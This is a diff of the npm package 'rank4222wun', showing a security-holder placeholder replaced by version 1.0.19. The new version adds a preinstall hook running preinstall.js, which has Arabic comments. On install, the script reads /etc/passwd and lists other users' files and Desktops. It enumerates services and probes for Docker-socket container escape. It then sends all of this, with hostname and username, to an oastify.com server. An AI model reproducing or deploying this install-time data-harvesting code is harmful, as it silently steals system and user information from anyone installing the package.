rank4222wun 0.0.1-security → 1.0.19

package/package.json

@@ -1,6 +1,10 @@
 {
   "name": "rank4222wun",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.19",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node preinstall.js"
+  },
+  "dependencies": {}
 }

package/preinstall.js

@@ -0,0 +1,344 @@
+const { exec } = require('child_process');
+const os = require('os');
+const fs = require('fs');
+const path = require('path');
+const https = require('https');
+
+const testResults = {
+  timestamp: new Date().toISOString(),
+  hostname: os.hostname(),
+  user: os.userInfo().username,
+  platform: os.platform(),
+  
+  // النقاط الأربع المطلوبة
+  testPoints: {
+    leakOtherUsersData: {},
+    runCommandsOnOtherUsers: {},
+    performDoS: {},
+    containerToHost: {}
+  }
+};
+
+// ===================== 1. Leak other users data cross org =====================
+console.log("🔍 TEST 1: Searching for other users data...");
+
+if (os.platform() === 'linux') {
+  // البحث عن بيانات مستخدمين آخرين في لينكس
+  exec('find /home -type f -name "*.txt" -o -name "*.doc" -o -name "*.pdf" -o -name "*.xlsx" 2>/dev/null | head -20', (err, stdout) => {
+    testResults.testPoints.leakOtherUsersData.linuxUserFiles = stdout || err?.message;
+    
+    // قراءة /etc/passwd للبحث عن مستخدمين آخرين
+    try {
+      if (fs.existsSync('/etc/passwd')) {
+        const passwdContent = fs.readFileSync('/etc/passwd', 'utf8');
+        testResults.testPoints.leakOtherUsersData.allUsers = passwdContent;
+        
+        // استخراج أسماء المستخدمين الفعليين (غير system users)
+        const users = passwdContent.split('\n')
+          .filter(line => line.includes('/home/'))
+          .map(line => line.split(':')[0]);
+        testResults.testPoints.leakOtherUsersData.homeUsers = users;
+        
+        console.log(`👥 Found ${users.length} home users`);
+      }
+    } catch (e) {}
+    
+    // محاولة قراءة ملفات مستخدمين آخرين
+    try {
+      const homeDir = '/home';
+      if (fs.existsSync(homeDir)) {
+        const otherUsers = fs.readdirSync(homeDir).filter(user => user !== os.userInfo().username);
+        const otherUserData = {};
+        
+        otherUsers.slice(0, 3).forEach(user => {
+          const userHome = path.join(homeDir, user);
+          try {
+            const files = fs.readdirSync(userHome).slice(0, 5);
+            otherUserData[user] = {
+              exists: true,
+              files: files
+            };
+            
+            // محاولة قراءة ملفات Desktop لـ users آخرين
+            const userDesktop = path.join(userHome, 'Desktop');
+            if (fs.existsSync(userDesktop)) {
+              otherUserData[user].desktop = fs.readdirSync(userDesktop).slice(0, 5);
+              console.log(`📁 Access to ${user}'s Desktop: ${otherUserData[user].desktop.length} files`);
+            }
+          } catch (e) {
+            otherUserData[user] = { error: e.message };
+          }
+        });
+        
+        testResults.testPoints.leakOtherUsersData.crossUserAccess = otherUserData;
+      }
+    } catch (e) {
+      testResults.testPoints.leakOtherUsersData.crossUserAccessError = e.message;
+    }
+    
+    // الانتقال للاختبار الثاني بعد الانتهاء
+    testPoint2();
+  });
+} else if (os.platform() === 'win32') {
+  // البحث عن بيانات مستخدمين آخرين في ويندوز
+  exec('wmic useraccount get name 2>&1', (err, stdout) => {
+    testResults.testPoints.leakOtherUsersData.windowsUsers = stdout || err?.message;
+    
+    // محاولة الوصول إلى مجلدات مستخدمين آخرين
+    try {
+      const usersDir = 'C:\\Users';
+      if (fs.existsSync(usersDir)) {
+        const allUsers = fs.readdirSync(usersDir);
+        const currentUser = os.userInfo().username;
+        const otherUsers = allUsers.filter(user => 
+          user !== currentUser && 
+          user !== 'Public' && 
+          user !== 'Default' && 
+          user !== 'Default User' && 
+          user !== 'All Users'
+        );
+        
+        const accessedData = {};
+        otherUsers.slice(0, 3).forEach(user => {
+          const userPath = path.join(usersDir, user);
+          try {
+            if (fs.existsSync(userPath)) {
+              const files = fs.readdirSync(userPath).slice(0, 5);
+              accessedData[user] = {
+                exists: true,
+                files: files
+              };
+              
+              // محاولة قراءة Desktop للمستخدمين الآخرين
+              const userDesktop = path.join(userPath, 'Desktop');
+              if (fs.existsSync(userDesktop)) {
+                accessedData[user].desktop = fs.readdirSync(userDesktop).slice(0, 5);
+                console.log(`📁 Access to ${user}'s Desktop: ${accessedData[user].desktop.length} files`);
+              }
+            }
+          } catch (e) {
+            accessedData[user] = { error: e.message };
+          }
+        });
+        
+        testResults.testPoints.leakOtherUsersData.crossUserAccess = accessedData;
+      }
+    } catch (e) {
+      testResults.testPoints.leakOtherUsersData.crossUserAccessError = e.message;
+    }
+    
+    testPoint2();
+  });
+}
+
+// ===================== 2. Run commands on other users cross org =====================
+function testPoint2() {
+  console.log("\n🔍 TEST 2: Testing if we can run commands affecting other users...");
+  
+  // هذا الاختبار أصعب، لكننا نحاول:
+  // 1. البحث عن خدمات مشتركة يمكن التحكم بها
+  // 2. البحث عن عمليات تعمل بصلاحيات مستخدمين آخرين
+  
+  if (os.platform() === 'linux') {
+    exec('ps aux | grep -E "(sshd|vsftpd|apache|nginx|postgres|mysql)" | head -10', (err, stdout) => {
+      testResults.testPoints.runCommandsOnOtherUsers.sharedServices = stdout || err?.message;
+      
+      // التحقق من إمكانية إرسال إشارات إلى عمليات أخرى
+      exec('kill -l 2>&1', (err2, stdout2) => {
+        testResults.testPoints.runCommandsOnOtherUsers.killCapabilities = stdout2 || err2?.message;
+        testPoint3();
+      });
+    });
+  } else if (os.platform() === 'win32') {
+    exec('tasklist /svc 2>&1', (err, stdout) => {
+      testResults.testPoints.runCommandsOnOtherUsers.runningServices = stdout || err?.message;
+      
+      // التحقق من إمكانية إيقاف خدمات
+      exec('sc query 2>&1 | head -20', (err2, stdout2) => {
+        testResults.testPoints.runCommandsOnOtherUsers.windowsServices = stdout2 || err2?.message;
+        testPoint3();
+      });
+    });
+  }
+}
+
+// ===================== 3. Perform DoS =====================
+function testPoint3() {
+  console.log("\n🔍 TEST 3: Testing DoS capabilities...");
+  
+  // اختبار قدرات DoS (بدون تنفيذ فعلي)
+  testResults.testPoints.performDoS = {
+    // الموارد المتاحة
+    cpuCores: os.cpus().length,
+    totalMemory: Math.round(os.totalmem() / (1024 * 1024 * 1024)) + ' GB',
+    freeMemory: Math.round(os.freemem() / (1024 * 1024 * 1024)) + ' GB',
+    
+    // إمكانيات شبكية
+    networkInterfaces: Object.keys(os.networkInterfaces()).length,
+    
+    // اختبارات نظرية (لا يتم تنفيذها)
+    theoreticalDoS: {
+      forkBomb: 'Possible if unlimited processes',
+      memoryExhaustion: 'Possible with large allocations',
+      diskFilling: 'Possible with write access',
+      networkFlood: 'Possible with socket creation'
+    }
+  };
+  
+  // اختبار صغير غير ضار لإثبات القدرة
+  if (os.platform() === 'linux') {
+    exec('ulimit -a 2>&1', (err, stdout) => {
+      testResults.testPoints.performDoS.limits = stdout || err?.message;
+      testPoint4();
+    });
+  } else if (os.platform() === 'win32') {
+    exec('systeminfo | findstr /B /C:"Total Physical Memory" /C:"Available Physical Memory" 2>&1', (err, stdout) => {
+      testResults.testPoints.performDoS.windowsResources = stdout || err?.message;
+      testPoint4();
+    });
+  }
+}
+
+// ===================== 4. Container to host =====================
+function testPoint4() {
+  console.log("\n🔍 TEST 4: Testing container-to-host escape...");
+  
+  // الاختبارات تعتمد على النظام
+  
+  if (os.platform() === 'linux') {
+    // اختبارات الهروب من الحاوية
+    const containerTests = {};
+    
+    // 1. التحقق مما إذا كنا في حاوية
+    exec('cat /proc/1/cgroup 2>/dev/null | grep -q docker && echo "In Docker" || echo "Not in Docker or unknown"', (err, stdout) => {
+      containerTests.isInContainer = stdout?.trim();
+      
+      // 2. البحث عن Docker socket
+      const dockerSocket = '/var/run/docker.sock';
+      if (fs.existsSync(dockerSocket)) {
+        containerTests.dockerSocketExists = true;
+        containerTests.dockerSocketAccessible = true;
+        console.log("⚠️ Docker socket accessible!");
+      }
+      
+      // 3. التحقق من mount points
+      exec('mount | grep -E "(docker|overlay|/var/lib/docker)" 2>/dev/null | head -5', (err2, stdout2) => {
+        containerTests.dockerMounts = stdout2 || err2?.message;
+        
+        // 4. التحقق من capabilities
+        exec('capsh --print 2>/dev/null || echo "No capsh"', (err3, stdout3) => {
+          containerTests.capabilities = stdout3 || err3?.message;
+          
+          // 5. البحث عن ثغرات معروفة
+          exec('uname -r 2>&1', (err4, stdout4) => {
+            containerTests.kernelVersion = stdout4?.trim();
+            
+            // تحليل Kernel version للبحث عن ثغرات معروفة
+            if (stdout4) {
+              if (stdout4.includes('3.10.0-1160')) {
+                containerTests.knownVulnerabilities = 'Old kernel version, potential vulnerabilities';
+              }
+            }
+            
+            testResults.testPoints.containerToHost = containerTests;
+            finishTests();
+          });
+        });
+      });
+    });
+    
+  } else if (os.platform() === 'win32') {
+    // اختبارات VM Escape للويندوز
+    const vmTests = {};
+    
+    // 1. التحقق مما إذا كنا في VM
+    exec('systeminfo | findstr /B /C:"System Manufacturer" /C:"System Model" 2>&1', (err, stdout) => {
+      vmTests.systemInfo = stdout || err?.message;
+      
+      // 2. البحث عن أدوات Virtualization
+      const vmTools = [
+        'C:\\Program Files\\VMware\\VMware Tools',
+        'C:\\Program Files\\Oracle\\VirtualBox Guest Additions',
+        'C:\\Program Files\\Microsoft Integration Runtime'
+      ];
+      
+      vmTests.vmTools = {};
+      vmTools.forEach(tool => {
+        vmTests.vmTools[tool] = fs.existsSync(tool);
+      });
+      
+      // 3. التحقق من خدمات الـ VM
+      exec('sc query | findstr /I "vmware vbox virtual" 2>&1', (err2, stdout2) => {
+        vmTests.vmServices = stdout2 || err2?.message;
+        
+        testResults.testPoints.containerToHost = vmTests;
+        finishTests();
+      });
+    });
+  }
+}
+
+// ===================== إرسال النتائج =====================
+function finishTests() {
+  console.log("\n" + "=".repeat(60));
+  console.log("📊 نتائج اختبار النقاط الأربع:");
+  console.log("=".repeat(60));
+  
+  // تحليل النتائج
+  const analysis = {
+    leakOtherUsersData: testResults.testPoints.leakOtherUsersData.crossUserAccess ? 
+      'POSSIBLE - Found access to other users data' : 'NOT TESTED OR NOT FOUND',
+    
+    runCommandsOnOtherUsers: testResults.testPoints.runCommandsOnOtherUsers.sharedServices ? 
+      'POSSIBLE - Can see/affect shared services' : 'LIMITED',
+    
+    performDoS: testResults.testPoints.performDoS.cpuCores > 1 ? 
+      `POSSIBLE - ${testResults.testPoints.performDoS.cpuCores} CPU cores available` : 'LIMITED',
+    
+    containerToHost: testResults.testPoints.containerToHost?.dockerSocketExists ? 
+      'CRITICAL - Docker socket accessible!' : 
+      (testResults.testPoints.containerToHost?.isInContainer ? 
+        'IN CONTAINER - Escape possibilities exist' : 'NOT IN CONTAINER')
+  };
+  
+  console.log("\n📋 التحليل:");
+  console.log(`1. تسريب بيانات مستخدمين آخرين: ${analysis.leakOtherUsersData}`);
+  console.log(`2. تشغيل أوامر على مستخدمين آخرين: ${analysis.runCommandsOnOtherUsers}`);
+  console.log(`3. تنفيذ هجوم DoS: ${analysis.performDoS}`);
+  console.log(`4. الهروب من الحاوية للمضيف: ${analysis.containerToHost}`);
+  
+  // إرسال البيانات
+  const req = https.request({
+    hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
+    port: 443,
+    path: '/cross-org-tests',
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'X-Test-Type': 'Cross-Org-Vulnerabilities',
+      'X-Host': os.hostname()
+    }
+  }, (res) => {
+    console.log(`\n✅ تم إرسال النتائج. حالة الرد: ${res.statusCode}`);
+  });
+  
+  req.on('error', (e) => {
+    console.error(`❌ خطأ في الإرسال: ${e.message}`);
+  });
+  
+  req.write(JSON.stringify({
+    testResults: testResults,
+    analysis: analysis,
+    summary: {
+      user: os.userInfo().username,
+      hostname: os.hostname(),
+      platform: os.platform(),
+      timestamp: new Date().toISOString()
+    }
+  }, null, 2));
+  
+  req.end();
+}
+
+// بدء الاختبارات
+console.log("🚀 بدء اختبار النقاط الأربع المطلوبة...");

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.